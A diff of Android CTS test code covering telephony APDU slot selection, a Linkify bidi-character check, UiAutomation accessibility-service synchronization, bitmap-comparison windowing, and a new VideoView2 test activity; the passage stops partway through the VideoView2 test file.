--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -55,6 +55,7 @@
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
 import android.telephony.UiccCardInfo;
+import android.telephony.UiccSlotInfo;
 import android.telephony.cts.locationaccessingapp.CtsLocationAccessService;
 import android.telephony.cts.locationaccessingapp.ICtsLocationAccessControl;
 import android.telephony.emergency.EmergencyNumber;
@@ -72,12 +73,16 @@
 import org.junit.Test;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
+import java.util.Objects;
+import java.util.Set;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Consumer;
 import java.util.regex.Pattern;
+import java.util.stream.Collectors;
 
 /**
  * Build, install and run the tests by running the commands below:
@@ -1244,12 +1249,31 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
+        int slotIndex = getValidSlotIndex();
+        String result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.iccTransmitApduLogicalChannelBySlot(
+                        slotIndex,
+                        0 /* channel */,
+                        0 /* cla */,
+                        0 /* instruction */,
+                        0 /* p1 */,
+                        0 /* p2 */,
+                        0 /* p3 */,
+                        null /* data */));
+        assertTrue(TextUtils.isEmpty(result));
+    }
+
+    @Test
+    public void testIccTransmitApduBasicChannelBySlot() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
         // just verify no crash
+        int slotIndex = getValidSlotIndex();
         try {
             ShellIdentityUtils.invokeMethodWithShellPermissions(
-                    mTelephonyManager, (tm) -> tm.iccTransmitApduLogicalChannelBySlot(
-                            0 /* slotIndex */,
-                            0 /* channel */,
+                    mTelephonyManager, (tm) -> tm.iccTransmitApduBasicChannelBySlot(
+                            slotIndex,
                             0 /* cla */,
                             0 /* instruction */,
                             0 /* p1 */,
@@ -1261,25 +1285,31 @@
         }
     }
 
-    @Test
-    public void testIccTransmitApduBasicChannelBySlot() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-        // just verify no crash
-        try {
-            ShellIdentityUtils.invokeMethodWithShellPermissions(
-                    mTelephonyManager, (tm) -> tm.iccTransmitApduBasicChannelBySlot(
-                            0 /* slotIndex */,
-                            0 /* cla */,
-                            0 /* instruction */,
-                            0 /* p1 */,
-                            0 /* p2 */,
-                            0 /* p3 */,
-                            null /* data */));
-        } catch (IllegalArgumentException e ) {
-            // IllegalArgumentException is okay, just not SecurityException
-        }
+    private int getValidSlotIndex() {
+        return ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    List<UiccCardInfo> cardInfos = mTelephonyManager.getUiccCardsInfo();
+                    Set<String> presentCards = Arrays.stream(mTelephonyManager.getUiccSlotsInfo())
+                            .filter(UiccSlotInfo::getIsActive)
+                            .map(UiccSlotInfo::getCardId)
+                            .filter(Objects::nonNull)
+                            // hack around getUiccSlotsInfo not stripping trailing F
+                            .map(s -> s.endsWith("F") ? s.substring(0, s.length() - 1) : s)
+                            .collect(Collectors.toSet());
+                    int slotIndex = -1;
+                    for (UiccCardInfo cardInfo : cardInfos) {
+                        if (presentCards.contains(cardInfo.getIccId())
+                                || presentCards.contains(cardInfo.getEid())) {
+                            slotIndex = cardInfo.getSlotIndex();
+                            break;
+                        }
+                    }
+                    if (slotIndex < 0) {
+                        fail("Test must be run with SIM card inserted, presentCards = "
+                                + presentCards + "cardinfos = " + cardInfos);
+                    }
+                    return slotIndex;
+                });
     }
 
     public static void waitForMs(long ms) {
diff --git a/tests/tests/telephony/sdk28/AndroidTest.xml b/tests/tests/telephony/sdk28/AndroidTest.xml
index ab37882..32c0401 100644
--- a/tests/tests/telephony/sdk28/AndroidTest.xml
+++ b/tests/tests/telephony/sdk28/AndroidTest.xml
@@ -18,6 +18,8 @@
     <option name="config-descriptor:metadata" key="component" value="telecom" />
     <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
     <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="android.telephony.cts.preconditions.TelephonyPreparer">
         <option name="apk" value="CtsTelephonyPreparerApp.apk" />
         <option name="package" value="android.telephony.cts.preconditions.app" />
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index 67a52da..99d3c54 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -936,6 +936,17 @@
                 domain.length(), email);
     }
 
+    @Test
+    public void testAddLinks_unsupportedCharacters() {
+        String url = "moc.diordna.com";
+        verifyAddLinksWithWebUrlSucceeds(url + " should be linkified", url);
+
+        verifyAddLinksWithWebUrlFails("u202C character should not be linkified", "\u202C" + url);
+        verifyAddLinksWithWebUrlFails("u202D character should not be linkified", url + "\u202D");
+        verifyAddLinksWithWebUrlFails(
+                "u202E character should not be linkified", url + "moc\u202E.diordna.com");
+    }
+
     // Utility functions
     private static void verifyAddLinksWithWebUrlSucceeds(String msg, String url) {
         verifyAddLinksSucceeds(msg, url, Linkify.WEB_URLS);
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
index 16ced50d..9fedbbf 100755
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
@@ -367,7 +367,7 @@
             uiAutomation.destroy();
             assertTrue(UiAutomationTestA11yService.sConnectedInstance.isConnected());
             getInstrumentation().getUiAutomation(); // Should suppress
-            assertFalse(UiAutomationTestA11yService.sConnectedInstance.isConnected());
+            waitForAccessibilityServiceToUnbind();
         } finally {
             turnAccessibilityOff();
         }
@@ -385,7 +385,7 @@
             UiAutomation suppressingUiAutomation = getInstrumentation().getUiAutomation();
             // We verify above that the connection is broken here. Make sure we see a new one
             // after we destroy it
-            UiAutomationTestA11yService.sConnectedInstance = null;
+            waitForAccessibilityServiceToUnbind();
             suppressingUiAutomation.destroy();
             waitForAccessibilityServiceToStart();
         } finally {
@@ -404,7 +404,7 @@
             getInstrumentation().getUiAutomation();
             // We verify above that the connection is broken here. Make sure we see a new one
             // after we change the flags
-            UiAutomationTestA11yService.sConnectedInstance = null;
+            waitForAccessibilityServiceToUnbind();
             getInstrumentation()
                     .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
             waitForAccessibilityServiceToStart();
@@ -471,12 +471,12 @@
     private void waitForAccessibilityServiceToStart() {
         long timeoutTimeMillis = SystemClock.uptimeMillis() + TIMEOUT_FOR_SERVICE_ENABLE;
         while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
-            synchronized(UiAutomationTestA11yService.sWaitObjectForConnecting) {
+            synchronized(UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
                 if (UiAutomationTestA11yService.sConnectedInstance != null) {
                     return;
                 }
                 try {
-                    UiAutomationTestA11yService.sWaitObjectForConnecting.wait(
+                    UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind.wait(
                             timeoutTimeMillis - SystemClock.uptimeMillis());
                 } catch (InterruptedException e) {
                     // Ignored; loop again
@@ -486,6 +486,24 @@
         throw new RuntimeException("Test accessibility service not starting");
     }
 
+    private void waitForAccessibilityServiceToUnbind() {
+        long timeoutTimeMillis = SystemClock.uptimeMillis() + TIMEOUT_FOR_SERVICE_ENABLE;
+        while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
+            synchronized(UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind) {
+                if (UiAutomationTestA11yService.sConnectedInstance == null) {
+                    return;
+                }
+                try {
+                    UiAutomationTestA11yService.sWaitObjectForConnectOrUnbind.wait(
+                            timeoutTimeMillis - SystemClock.uptimeMillis());
+                } catch (InterruptedException e) {
+                    // Ignored; loop again
+                }
+            }
+        }
+        throw new RuntimeException("Test accessibility service doesn't unbind");
+    }
+
     private void turnAccessibilityOff() {
         getInstrumentation().getUiAutomation().destroy();
         final Object waitLockForA11yOff = new Object();
@@ -504,7 +522,6 @@
         ContentResolver cr = context.getContentResolver();
         Settings.Secure.putString(
                 cr, Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES, null);
-        UiAutomationTestA11yService.sConnectedInstance = null;
         long timeoutTimeMillis = SystemClock.uptimeMillis() + TIMEOUT_FOR_SERVICE_ENABLE;
         while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
             synchronized (waitLockForA11yOff) {
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestA11yService.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestA11yService.java
index ca598bc..e708784 100644
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestA11yService.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestA11yService.java
@@ -15,6 +15,8 @@
 package android.app.uiautomation.cts;
 
 import android.accessibilityservice.AccessibilityService;
+import android.content.Intent;
+import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
 
 /**
@@ -22,12 +24,24 @@
  * services
  */
 public class UiAutomationTestA11yService extends AccessibilityService {
-    public static Object sWaitObjectForConnecting = new Object();
+    private static String LOG_TAG = "UiAutomationTest";
+    public static Object sWaitObjectForConnectOrUnbind = new Object();
 
     public static UiAutomationTestA11yService sConnectedInstance;
 
     @Override
+    public boolean onUnbind(Intent intent) {
+        synchronized (sWaitObjectForConnectOrUnbind) {
+            sConnectedInstance = null;
+            sWaitObjectForConnectOrUnbind.notifyAll();
+        }
+        Log.v(LOG_TAG, "onUnbind [" + this + "]");
+        return false;
+    }
+
+    @Override
     public void onDestroy() {
+        Log.v(LOG_TAG, "onDestroy [" + this + "]");
     }
 
     @Override
@@ -41,10 +55,11 @@
 
     @Override
     protected void onServiceConnected() {
-        synchronized (sWaitObjectForConnecting) {
+        synchronized (sWaitObjectForConnectOrUnbind) {
             sConnectedInstance = this;
-            sWaitObjectForConnecting.notifyAll();
+            sWaitObjectForConnectOrUnbind.notifyAll();
         }
+        Log.v(LOG_TAG, "onServiceConnected [" + this + "]");
     }
 
     public boolean isConnected() {
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png b/tests/tests/uirendering/res/drawable-nodpi/vector_drawable_scale_golden.png
similarity index 100%
rename from tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
rename to tests/tests/uirendering/res/drawable-nodpi/vector_drawable_scale_golden.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable/sunset1.jpg b/tests/tests/uirendering/res/drawable/sunset1.jpg
index 92851f3..3b30b36 100644
--- a/tests/tests/uirendering/res/drawable/sunset1.jpg
+++ b/tests/tests/uirendering/res/drawable/sunset1.jpg
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable/vector_icon_create.xml b/tests/tests/uirendering/res/drawable/vector_icon_create.xml
new file mode 100644
index 0000000..7db4ad5
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/vector_icon_create.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+        android:height="64dp"
+        android:width="64dp"
+        android:viewportHeight="24"
+        android:viewportWidth="24" >
+
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M3.0,17.25L3.0,21.0l3.75,0.0L17.813995,9.936001l-3.75-3.75L3.0,17.25zM20.707,7.0429993c0.391-0.391 0.391-1.023 0.0-1.414l-2.336-2.336c-0.391-0.391-1.023-0.391 -1.414,0.0l-1.832,1.832l3.75,3.75L20.707,7.0429993z" />
+
+</vector>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/layout/vector_drawable_scale_layout.xml b/tests/tests/uirendering/res/layout/vector_drawable_scale_layout.xml
similarity index 100%
rename from tests/tests/graphics/res/layout/vector_drawable_scale_layout.xml
rename to tests/tests/uirendering/res/layout/vector_drawable_scale_layout.xml
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java
index e65ff2d..c8a1ebd 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java
@@ -40,6 +40,17 @@
         mThreshold = threshold;
     }
 
+    /**
+     * Compute the size of the window. The window defaults to WINDOW_SIZE, but
+     * must be contained within dimension.
+     */
+    private int computeWindowSize(int coordinateStart, int dimension) {
+        if (coordinateStart + WINDOW_SIZE <= dimension) {
+            return WINDOW_SIZE;
+        }
+        return dimension - coordinateStart;
+    }
+
     @Override
     public boolean verifySame(int[] ideal, int[] given, int offset, int stride, int width,
             int height) {
@@ -47,16 +58,20 @@
         int windows = 0;
 
         for (int currentWindowY = 0 ; currentWindowY < height ; currentWindowY += WINDOW_SIZE) {
+            int windowHeight = computeWindowSize(currentWindowY, height);
             for (int currentWindowX = 0 ; currentWindowX < width ; currentWindowX += WINDOW_SIZE) {
+                int windowWidth = computeWindowSize(currentWindowX, width);
                 int start = indexFromXAndY(currentWindowX, currentWindowY, stride, offset);
-                if (isWindowWhite(ideal, start, stride) && isWindowWhite(given, start, stride)) {
+                if (isWindowWhite(ideal, start, stride, windowWidth, windowHeight)
+                        && isWindowWhite(given, start, stride, windowWidth, windowHeight)) {
                     continue;
                 }
                 windows++;
-                double[] means = getMeans(ideal, given, start, stride);
+                double[] means = getMeans(ideal, given, start, stride, windowWidth, windowHeight);
                 double meanX = means[0];
                 double meanY = means[1];
-                double[] variances = getVariances(ideal, given, meanX, meanY, start, stride);
+                double[] variances = getVariances(ideal, given, meanX, meanY, start, stride,
+                        windowWidth, windowHeight);
                 double varX = variances[0];
                 double varY = variances[1];
                 double stdBoth = variances[2];
@@ -76,9 +91,10 @@
         return (SSIMTotal >= mThreshold);
     }
 
-    private boolean isWindowWhite(int[] colors, int start, int stride) {
-        for (int y = 0 ; y < WINDOW_SIZE ; y++) {
-            for (int x = 0 ; x < WINDOW_SIZE ; x++) {
+    private boolean isWindowWhite(int[] colors, int start, int stride,
+            int windowWidth, int windowHeight) {
+        for (int y = 0; y < windowHeight; y++) {
+            for (int x = 0; x < windowWidth; x++) {
                 if (colors[indexFromXAndY(x, y, stride, start)] != Color.WHITE) {
                     return false;
                 }
@@ -101,18 +117,19 @@
      * where the first double is the mean of the first set and the second double is the mean of the
      * second set.
      */
-    private double[] getMeans(int[] pixels0, int[] pixels1, int start, int stride) {
+    private double[] getMeans(int[] pixels0, int[] pixels1, int start, int stride,
+            int windowWidth, int windowHeight) {
         double avg0 = 0;
         double avg1 = 0;
-        for (int y = 0 ; y < WINDOW_SIZE ; y++) {
-            for (int x = 0 ; x < WINDOW_SIZE ; x++) {
+        for (int y = 0; y < windowHeight; y++) {
+            for (int x = 0; x < windowWidth; x++) {
                 int index = indexFromXAndY(x, y, stride, start);
                 avg0 += getIntensity(pixels0[index]);
                 avg1 += getIntensity(pixels1[index]);
             }
         }
-        avg0 /= WINDOW_SIZE * WINDOW_SIZE;
-        avg1 /= WINDOW_SIZE * WINDOW_SIZE;
+        avg0 /= windowWidth * windowHeight;
+        avg1 /= windowWidth * windowHeight;
         return new double[] {avg0, avg1};
     }
 
@@ -122,12 +139,12 @@
      * the second is the variance of the second set of pixels, and the third is the covariance.
      */
     private double[] getVariances(int[] pixels0, int[] pixels1, double mean0, double mean1,
-            int start, int stride) {
+            int start, int stride, int windowWidth, int windowHeight) {
         double var0 = 0;
         double var1 = 0;
         double varBoth = 0;
-        for (int y = 0 ; y < WINDOW_SIZE ; y++) {
-            for (int x = 0 ; x < WINDOW_SIZE ; x++) {
+        for (int y = 0; y < windowHeight; y++) {
+            for (int x = 0; x < windowWidth; x++) {
                 int index = indexFromXAndY(x, y, stride, start);
                 double v0 = getIntensity(pixels0[index]) - mean0;
                 double v1 = getIntensity(pixels1[index]) - mean1;
@@ -136,9 +153,9 @@
                 varBoth += v0 * v1;
             }
         }
-        var0 /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
-        var1 /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
-        varBoth /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
+        var0 /= (windowWidth * windowHeight) - 1;
+        var1 /= (windowWidth * windowHeight) - 1;
+        varBoth /= (windowWidth * windowHeight) - 1;
         return new double[] {var0, var1, varBoth};
     }
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java
index b9816db..ac1fa0e 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java
@@ -20,16 +20,18 @@
 import android.graphics.BitmapFactory;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.differencevisualizers.PassFailVisualizer;
-import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
 public class GoldenImageVerifier extends BitmapVerifier {
-    private BitmapComparer mBitmapComparer;
-    private int[] mGoldenBitmapArray;
+    private final BitmapComparer mBitmapComparer;
+    private final int[] mGoldenBitmapArray;
+    private final int mWidth;
+    private final int mHeight;
 
     public GoldenImageVerifier(Bitmap goldenBitmap, BitmapComparer bitmapComparer) {
-        mGoldenBitmapArray = new int[ActivityTestBase.TEST_WIDTH * ActivityTestBase.TEST_HEIGHT];
-        goldenBitmap.getPixels(mGoldenBitmapArray, 0, ActivityTestBase.TEST_WIDTH, 0, 0,
-                ActivityTestBase.TEST_WIDTH, ActivityTestBase.TEST_HEIGHT);
+        mWidth = goldenBitmap.getWidth();
+        mHeight = goldenBitmap.getHeight();
+        mGoldenBitmapArray = new int[mWidth * mHeight];
+        goldenBitmap.getPixels(mGoldenBitmapArray, 0, mWidth, 0, 0, mWidth, mHeight);
         mBitmapComparer = bitmapComparer;
     }
 
@@ -38,6 +40,15 @@
     }
 
     @Override
+    public boolean verify(Bitmap bitmap) {
+        // Clip to the size of the golden image.
+        if (bitmap.getWidth() > mWidth || bitmap.getHeight() > mHeight) {
+            bitmap = Bitmap.createBitmap(bitmap, 0, 0, mWidth, mHeight);
+        }
+        return super.verify(bitmap);
+    }
+
+    @Override
     public boolean verify(int[] bitmap, int offset, int stride, int width, int height) {
         boolean success = mBitmapComparer.verifySame(mGoldenBitmapArray, bitmap, offset, stride,
                 width, height);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
index 20f1fda..3962f02 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
@@ -97,7 +97,7 @@
                 .addCanvasClient("TorusClip", sTorusClipCanvasClient)
                 .addCanvasClient("TorusClipOut", sTorusClipOutCanvasClient)
                 .runWithVerifier(new GoldenImageVerifier(getActivity(),
-                        R.drawable.pathclippingtest_torus, new MSSIMComparer(0.95)));
+                        R.drawable.pathclippingtest_torus, new MSSIMComparer(0.65)));
     }
 
     @Test
@@ -165,7 +165,7 @@
                     view.setScaleX(2);
                     view.setScaleY(2);
                 })
-                .runWithComparer(new MSSIMComparer(0.90));
+                .runWithComparer(new MSSIMComparer(0.87));
     }
 
     @Test
@@ -220,6 +220,6 @@
                         initBlueWebView(hwFence), true, hwFence)
                 .addLayout(R.layout.circle_clipped_webview,
                         initBlueWebView(swFence), false, swFence)
-                .runWithComparer(new MSSIMComparer(0.95));
+                .runWithComparer(new MSSIMComparer(0.94));
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableScaleTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableScaleTest.java
new file mode 100644
index 0000000..2362a78
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableScaleTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.content.Context;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.view.View;
+import android.widget.ImageView;
+
+import androidx.test.filters.MediumTest;
+
+import org.junit.Test;
+
+@MediumTest
+public class VectorDrawableScaleTest extends ActivityTestBase {
+    @Test
+    public void testVectorDrawableInImageView() {
+        final Context context = getInstrumentation().getTargetContext();
+        createTest()
+                .addLayout(R.layout.vector_drawable_scale_layout, view-> {
+                    setupImageViews(view);
+                }, false /* not HW only*/)
+                .runWithVerifier(new GoldenImageVerifier(context,
+                      R.drawable.vector_drawable_scale_golden,
+                      new MSSIMComparer(.87f)));
+    }
+
+    // Setup 2 imageviews, one big and one small. The purpose of this test is to make sure that the
+    // imageview with smaller scale will not affect the appearance in the imageview with larger
+    // scale.
+    private static void setupImageViews(View view) {
+        ImageView imageView = (ImageView) view.findViewById(R.id.imageview1);
+        imageView.setImageResource(R.drawable.vector_icon_create);
+        imageView = (ImageView) view.findViewById(R.id.imageview2);
+        imageView.setImageResource(R.drawable.vector_icon_create);
+    }
+}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
old mode 100644
new mode 100755
index 14dd431..6d69945
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -1795,16 +1795,20 @@
         assertEquals(
                 mOnUiThread.getHeight(),
                 mOnUiThread.getContentHeight() * mOnUiThread.getScale(),
-                tolerance * mOnUiThread.getScale());
+                tolerance * Math.max(mOnUiThread.getScale(), 1.0f));
 
         // Make pageHeight bigger than the larger dimension of the device, so the page is taller
         // than viewport. Because when layout_height set to match_parent, getContentHeight() will
         // give maximum value between the actual web content height and the viewport height. When
         // viewport height is bigger, |extraSpace| below is not the extra space on the web page.
-        // Note that we are passing physical pixels rather than CSS pixels here, since screen
-        // density scale is generally greater than 1, it only makes the page content taller.
+        // Note that we are passing physical pixels rather than CSS pixels here, when screen density
+        // scale is lower than 1.0f, we need to scale it up.
         DisplayMetrics metrics = mOnUiThread.getDisplayMetrics();
-        final int pageHeight = Math.max(metrics.widthPixels, metrics.heightPixels);
+        final float scaleFactor = Math.max(1.0f, 1.0f / mOnUiThread.getScale());
+        final int pageHeight =
+                (int)(Math.ceil(Math.max(metrics.widthPixels, metrics.heightPixels)
+                * scaleFactor));
+
         // set the margin to 0
         final String p = "<p style=\"height:" + pageHeight
                 + "px;margin:0px auto;\">Get the height of HTML content.</p>";
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index 380250f..a6271fd 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -27,7 +27,8 @@
             android:maxRecents="1"
             android:multiArch="true"
             android:name="android.widget.cts.MockApplication"
-            android:supportsRtl="true">
+            android:supportsRtl="true"
+            android:theme="@android:style/Theme.Material.Light.DarkActionBar">
 
         <uses-library android:name="android.test.runner" />
 
@@ -386,6 +387,15 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.widget.cts.VideoView2CtsActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="VideoView2CtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.widget.cts.AutoCompleteCtsActivity"
             android:label="AutoCompleteCtsActivity"
             android:screenOrientation="nosensor"
diff --git a/tests/tests/widget/res/layout/videoview2_layout.xml b/tests/tests/widget/res/layout/videoview2_layout.xml
new file mode 100644
index 0000000..9030e1b
--- /dev/null
+++ b/tests/tests/widget/res/layout/videoview2_layout.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <VideoView2
+        android:id="@+id/videoview"
+        android:layout_width="160dp"
+        android:layout_height="120dp"/>
+</LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
new file mode 100644
index 0000000..e20f24e
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.VideoView2;
+
+/**
+ * A minimal application for {@link VideoView2} test.
+ */
+public class VideoView2CtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.videoview2_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
new file mode 100644
index 0000000..05dd990
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static android.content.Context.KEYGUARD_SERVICE;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.mockito.Matchers.same;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.session.MediaController;
+import android.media.session.PlaybackState;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.VideoView2;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.List;
+
+/**
+ * Test {@link VideoView2}.
+ */
+@Ignore
